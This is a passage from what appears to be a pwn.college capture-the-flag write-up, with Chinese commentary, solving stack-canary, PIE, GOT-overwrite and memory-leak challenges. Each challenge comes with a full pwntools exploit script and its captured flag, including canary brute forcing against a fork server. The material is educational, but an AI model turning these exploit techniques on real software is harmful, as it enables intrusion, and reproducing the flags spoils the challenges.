p.sendlineafter(b"What number would you like to replace it with? ", str(win_addr).encode())

p.interactive()
pwn.college{YHBFpvTU6V94JGyRaW-ZtWT0Zlv.QX2gzN4EDL4cjM1gzW}

Now You GOT It (Hard)

Leverage an Array to obtain the flag.

Analysis

Hard 版的关键变化是,不能像 Easy 那样直接把 puts@GOT 指到 win 入口,否则 win 自己内部先调用 puts,马上递归爆炸。

解法:offset jump (偏移跳转)

看看 win 函数开头:

1
2
3
4
5
6
0x00001e84      f30f1efa       endbr64
0x00001e88 55 push RBP
0x00001e89 4889e5 mov RBP, RSP
0x00001e8c 488d3d7511.. lea RDI, str.You_win__Here_is_your_flag:
0x00001e93 e878f2ffff call sym.imp.puts <-- 死循环点
0x00001e98 be00000000 mov esi, 0 <-- 我们从这里开始!

如果我们把 puts@GOT 覆盖为 win_addr + 0x14 (即 0x1e98),就能绕过死循环。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.arch = "amd64"
context.log_level = "info"

elf = ELF("/challenge/now-you-got-it-hard")
p = process("/challenge/now-you-got-it-hard")

# array starts at 0x5dd0 relative
index = (elf.got["puts"] - 0x5dd0) // 8

p.recvuntil(b"FREE LEAK: win is located at: ")
win_addr = int(p.recvline().strip(), 16) + 0x14

p.sendlineafter(b"Which number would you like to view? ", str(index).encode())
p.sendlineafter(b"What number would you like to replace it with? ", str(win_addr).encode())

p.interactive()
pwn.college{4R4AKNBLpYoKyJi6oIUwiWfpZI5.QX3gzN4EDL4cjM1gzW}

Loop Lunacy (Easy)

Overflow a buffer and smash the stack to obtain the flag, but this time in a PIE binary with a stack canary.

Analysis

这一题的重点不是直接越过 canary,而是改写循环计数变量 n,让后续单字节写入直接跳到 canary 后面。

1
2
3
while (n < size) {
n += read(0, input + n, 1);
}
  • buf -> 0x7fff2243c7e0
  • n -> 0x7fff2243c83c (offset 92)
  • return address -> 0x7fff2243c858 (offset 120)

我们覆盖 n 为 119,下一次 read 就会写入到 input + 120,即 return address 的位置。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.arch = "amd64"
context.log_level = "info"

# padding to n
payload = b"A" * 92 + p8(119) + p16(0x1CF9) # target win_authed check skip

p = process("/challenge/loop-lunacy-easy")
p.sendline(b"122")
p.sendline(payload)
p.interactive()
pwn.college{cTAXWFaqIFSJDGH8jZMVtQUXTPF.0VNwMDL4cjM1gzW}

Loop Lunacy (Hard)

Analysis

Hard 版还是同样的单字节循环写入,只是局部变量布局稍微绕一点。

  • buf -> RBP - 0x40 (64 bytes)
  • n -> RBP - 0x58
  • buf to n offset = 48 bytes
  • target win_authed offset -> 0x1481

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.arch = "amd64"
context.log_level = "info"

# overwrite n to point to return address
payload = b"A" * 48 + p8(64 + 8 - 1) + p16(0x1481)

while True:
p = process("/challenge/loop-lunacy-hard")
p.sendline(b"74")
p.sendline(payload)
a = p.recvall(timeout=1)
if b"pwn.college{" in a:
print(a.decode(errors="ignore"))
break
pwn.college{AYNJAU4YM4hhzf7JinEkwYZfMVn.0lNwMDL4cjM1gzW}

Nosy Neighbor (Easy)

Overflow a buffer and leak the flag.

Analysis

这一题是典型的字符串越界泄露。printf("%s") 会一直打印到遇见 \x00 为止。

  • buf -> 0x7ffcec871790
  • flag -> 0x7ffcec8717f1
  • offset -> 97 bytes

Exploit

1
2
3
4
5
from pwn import *
p = process("/challenge/nosy-neighbor-easy")
p.sendline(b"97")
p.send(b"A" * 97)
p.interactive()
pwn.college{Me-6tE1p3dFRGXTXtpMORPj5b_W.01NwMDL4cjM1gzW}

Nosy Neighbor (Hard)

Analysis

Hard 版也是同一类 bug,输入是从 path 开始写,真正的可打印缓冲区在 path + 0x6d

  • offset -> 0x6d -> 109

Exploit

1
2
3
4
5
from pwn import *
p = process("/challenge/nosy-neighbor-hard")
p.sendline(b"109")
p.send(b"A" * 109)
p.interactive()
pwn.college{EtNjf_nSDtmYIx3VjpoxbpZVdLa.0FOwMDL4cjM1gzW}

Recursive Ruin (Easy)

Defeat a stack canary in a PIE binary by utilizing a bug left in the binary.

Analysis

这题利用 recursive backdoor。第一次输入泄露 canary 并让同一个进程再次进入 challenge(),复用同一个 canary。

  1. 第一发 Payload (Information Leak): 覆盖 canary 的最低字节 (\x00),利用 printf 泄露剩余 7 字节。加入 "REPEAT" 触发递归。
  2. 第二发 Payload (Control Flow Hijack): 在第二层 challenge() 中,利用泄露的 canary 构造 payload 绕过检查。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import itertools
from pwn import *

context.log_level = "error"

def exploit():
p = process("/challenge/recursive-ruin-easy")
try:
p.sendlineafter(b"Payload size:", b"137")
payload1 = b"REPEAT".ljust(136, b"A") + b"X"
p.sendafter(b"bytes)!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(137)
canary = b"\x00" + p.recv(7)

p.sendlineafter(b"Payload size:", b"154")
payload2 = b"A" * 136 + canary + b"B" * 8 + b"\xb3\x83"
p.sendafter(b"bytes)!\n", payload2)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result.decode())
return True
except: pass
finally: p.close()
return False

for i in itertools.count():
if exploit(): break
pwn.college{sISl_MjbdZ-M6Xu-jeMXu-Gxj89.0VMxMDL4cjM1gzW}

Recursive Ruin (Hard)

Analysis

Hard 版同样是两阶段利用。区别只是缓冲区更小,偏移更短。

  • buf -> RBP - 0x20
  • canary -> RBP - 8
  • buf to canary offset = 24 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import itertools
from pwn import *

context.log_level = "error"

def exploit():
p = process("/challenge/recursive-ruin-hard")
try:
p.sendlineafter(b"Payload size:", b"25")
payload1 = b"REPEAT".ljust(24, b"A") + b"X"
p.sendafter(b"bytes)!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(25)
canary = b"\x00" + p.recv(7)

p.sendlineafter(b"Payload size:", b"42")
payload2 = b"A" * 24 + canary + b"B" * 8 + b"\x6b\x1c"
p.sendafter(b"bytes)!\n", payload2)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result.decode())
return True
except: pass
finally: p.close()
return False

for i in itertools.count():
if exploit(): break
pwn.college{…}

Lingering Leftover (Easy)

Leak data left behind unintentionally by utilizing clever payload construction.

Analysis

这一题不是主动泄露,而是栈残留 (stack residual)。程序前面读过 flag,虽然没有再打印 flag buffer,但残留内容还躺在栈上。

  • buf -> 0x7ffc740163f0
  • flag at 0x7ffc7401646a
  • distance -> 122 bytes

Exploit

1
2
3
4
5
from pwn import *
p = process("/challenge/lingering-leftover-easy")
p.sendline(b"122")
p.send(b"A" * 122)
p.interactive()
pwn.college{Ip-rheFTFOTZw6iCFe4JX-YqSUV29vW.01MxMDL4cjM1gzW}

Lingering Leftover (Hard)

Analysis

Hard 版也是同一个思路,从函数之间的栈复用关系里确认 flag 的位置。

  • buf -> RBP - 0x200
  • flag read to RBP - 0x160 + 0x56
  • distance = 0x200 - 0x160 + 0x56 = 246 bytes

Exploit

1
2
3
4
5
from pwn import *
p = process("/challenge/lingering-leftover-hard")
p.sendline(b"246")
p.send(b"A" * 246)
p.interactive()
pwn.college{UOnuy5KfSK49QeGSt2X8WSjScbk.0FNxMDL4cjM1gzW}

Latent Leak (Easy)

Leak data left behind unintentionally to defeat a stack canary in a PIE binary.

Analysis

利用未初始化栈内容去捞一份 canary 副本。

  • buf -> 0x7ffd91a01960
  • canary copy at 0x7ffd91a019e8
  • distance = 136 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import itertools
from pwn import *

context.log_level = "error"

def exploit():
p = process("/challenge/latent-leak-easy")
try:
p.sendlineafter(b"Payload size:", b"137")
payload1 = b"REPEAT".ljust(136, b"A") + b"X"
p.sendafter(b"bytes)!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(137)
canary = b"\x00" + p.recv(7)

p.sendlineafter(b"Payload size:", b"426")
payload2 = b"A" * 408 + canary + b"B" * 8 + b"\xd4\x1f"
p.sendafter(b"bytes)!\n", payload2)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result.decode())
return True
except: pass
finally: p.close()
return False

for i in itertools.count():
if exploit(): break
pwn.college{USkSWFY_9ZoRpm_X4bbinvVet1i.0VNxMDL4cjM1gzW}

Latent Leak (Hard)

Analysis

Hard 版需定位 canary copy 在栈上的位置。

  • buf -> var_170h
  • canary copy at RBP - 0x118
  • distance = 88 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import itertools
from pwn import *

context.log_level = "error"

def exploit():
p = process("/challenge/latent-leak-hard")
try:
p.sendlineafter(b"Payload size:", b"89")
payload1 = b"REPEAT".ljust(88, b"A") + b"X"
p.sendafter(b"bytes)!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(89)
canary = b"\x00" + p.recv(7)

p.sendlineafter(b"Payload size:", b"378")
payload2 = b"A" * 360 + canary + b"B" * 8 + b"\x3a\x18"
p.sendafter(b"bytes)!\n", payload2)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result.decode())
return True
except: pass
finally: p.close()
return False

for i in itertools.count():
if exploit(): break
pwn.college{4Tl0_0M2VD2swhMKrBqyJ-NmVRB.0lNxMDL4cjM1gzW}

Fork Foolery (Easy)

Defeat a stack canary in a PIE binary by utilizing a network-style fork server in the target binary.

Analysis

fork 出来的子进程会继承父进程的 canary。我们可以通过逐字节爆破 (byte-by-byte brute-force) 来获取 canary。

  • buf to canary offset = 120 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import itertools
import sys
from pwn import *

context.log_level = "error"

def get_canary():
canary = b"\x00"
for i in range(7):
for guess in range(256):
p = remote("localhost", 1337)
try:
payload = b"A" * 120 + canary + bytes([guess])
p.sendlineafter(b"Payload size:", str(len(payload)).encode())
p.sendafter(b"bytes)!\n", payload)
result = p.recvall(timeout=0.1)
if b"stack smashing detected" not in result:
canary += bytes([guess])
p.close(); break
except: pass
finally: p.close()
return canary

def pwn_it(canary):
for attempts in itertools.count():
f = attempts % 16
p = remote("localhost", 1337)
try:
payload = b"A" * 120 + canary + b"B" * 8 + p16(0x289 + 0x1000 * f)
p.sendlineafter(b"Payload size:", str(len(payload)).encode())
p.sendafter(b"bytes)!\n", payload)
result = p.recvall(timeout=0.2)
if b"pwn.college{" in result:
print(result.decode()); p.close(); break
except: pass
finally: p.close()

if __name__ == "__main__":
c = get_canary()
if len(c) == 8: pwn_it(c)
pwn.college{AkjeEdJtTF04io9yqVyjy88wkvF.01NxMDL4cjM1gzW}

Fork Foolery (Hard)

Analysis

Hard 版同样是 fork server 爆破。

  • buf to canary offset = 120 bytes
  • target win_authed offset = 0x9db

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import itertools
import sys
from pwn import *

context.log_level = "error"

def get_canary():
canary = b"\x00"
for i in range(7):
for guess in range(256):
p = remote("localhost", 1337)
try:
payload = b"A" * 120 + canary + bytes([guess])
p.sendlineafter(b"Payload size:", str(len(payload)).encode())
p.sendafter(b"bytes)!\n", payload)
result = p.recvall(timeout=0.1)
if b"stack smashing detected" not in result:
canary += bytes([guess])
p.close(); break
except: pass
finally: p.close()
return canary

def pwn_it(canary):
for attempts in itertools.count():
f = attempts % 16
p = remote("localhost", 1337)
try:
payload = b"A" * 120 + canary + b"B" * 8 + p16(0x9db + 0x1000 * f)
p.sendlineafter(b"Payload size:", str(len(payload)).encode())
p.sendafter(b"bytes)!\n", payload)
result = p.recvall(timeout=0.2)
if b"pwn.college{" in result:
print(result.decode()); p.close(); break
except: pass
finally: p.close()

if __name__ == "__main__":
c = get_canary()
if len(c) == 8: pwn_it(c)
pwn.college{wQr_iWOgYTj48UrRNGXxYBBRJow.0FOxMDL4cjM1gzW}